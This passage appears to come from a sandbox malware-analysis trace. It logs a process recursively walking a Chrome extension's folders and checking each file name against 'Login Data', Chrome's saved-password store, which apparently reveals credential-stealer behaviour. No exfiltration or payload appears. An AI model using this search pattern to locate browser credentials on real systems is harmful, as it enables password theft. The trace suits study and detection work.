Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.335] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="es_419" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419" [0079.335] LocalFree (hMem=0x6523b0) returned 0x0 [0079.335] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x6525c8 [0079.335] lstrcpyA (in: lpString1=0x6525c8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419" [0079.335] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\*.*" [0079.335] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.335] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.335] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.335] LocalFree (hMem=0x6525c8) returned 0x0 [0079.335] LocalFree (hMem=0x6524b8) returned 0x0 [0079.335] LocalAlloc (uFlags=0x40, uBytes=0xfc) returned 0x6523b0 [0079.335] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0079.335] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.335] LocalAlloc (uFlags=0x40, uBytes=0xfe) returned 0x6524b8 [0079.335] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.335] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="et" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et" [0079.335] LocalFree (hMem=0x6523b0) returned 0x0 [0079.335] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x6525c0 [0079.335] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et" [0079.335] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\*.*" [0079.335] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.336] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.336] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.336] LocalFree (hMem=0x6525c0) returned 0x0 [0079.336] LocalFree (hMem=0x6524b8) returned 0x0 [0079.336] LocalAlloc (uFlags=0x40, uBytes=0xfc) returned 0x6523b0 [0079.336] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0079.336] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.336] LocalAlloc (uFlags=0x40, uBytes=0xfe) returned 0x6524b8 [0079.336] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.336] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="eu" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu" [0079.336] LocalFree (hMem=0x6523b0) returned 0x0 [0079.336] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x6525c0 [0079.336] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu" [0079.336] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\*.*" [0079.336] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.336] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.336] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.336] LocalFree (hMem=0x6525c0) returned 0x0 [0079.336] LocalFree (hMem=0x6524b8) returned 0x0 [0079.336] LocalAlloc (uFlags=0x40, uBytes=0xfc) returned 0x6523b0 [0079.337] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0079.337] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.337] LocalAlloc (uFlags=0x40, uBytes=0xfe) returned 0x6524b8 [0079.337] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.337] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="fi" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi" [0079.337] LocalFree (hMem=0x6523b0) returned 0x0 [0079.337] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x6525c0 [0079.337] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi" [0079.337] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\*.*" [0079.337] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.337] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.337] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.337] LocalFree (hMem=0x6525c0) returned 0x0 [0079.337] LocalFree (hMem=0x6524b8) returned 0x0 [0079.337] LocalAlloc (uFlags=0x40, uBytes=0xfc) returned 0x6523b0 [0079.337] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0079.337] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.337] LocalAlloc (uFlags=0x40, uBytes=0xff) returned 0x6524b8 [0079.337] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.337] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="fil" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil" [0079.337] LocalFree (hMem=0x6523b0) returned 0x0 [0079.337] LocalAlloc (uFlags=0x40, uBytes=0x103) returned 0x6525c0 [0079.337] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil" [0079.337] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\*.*" [0079.337] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.338] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.338] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.338] LocalFree (hMem=0x6525c0) returned 0x0 [0079.338] LocalFree (hMem=0x6524b8) returned 0x0 [0079.338] LocalAlloc (uFlags=0x40, uBytes=0xfc) returned 0x6523b0 [0079.338] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0079.338] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.338] LocalAlloc (uFlags=0x40, uBytes=0xfe) returned 0x6524b8 [0079.338] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.338] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="fr" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr" [0079.338] LocalFree (hMem=0x6523b0) returned 0x0 [0079.338] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x6525c0 [0079.338] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr" [0079.338] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\*.*" [0079.338] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.338] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.338] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.338] LocalFree (hMem=0x6525c0) returned 0x0 [0079.339] LocalFree (hMem=0x6524b8) returned 0x0 [0079.339] LocalAlloc (uFlags=0x40, uBytes=0xfc) returned 0x6523b0 [0079.339] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0079.339] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.339] LocalAlloc (uFlags=0x40, uBytes=0xfe) returned 0x6524b8 [0079.339] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.339] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="he" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he" [0079.339] LocalFree (hMem=0x6523b0) returned 0x0 [0079.339] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x6525c0 [0079.339] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he" [0079.339] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\*.*" [0079.339] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User 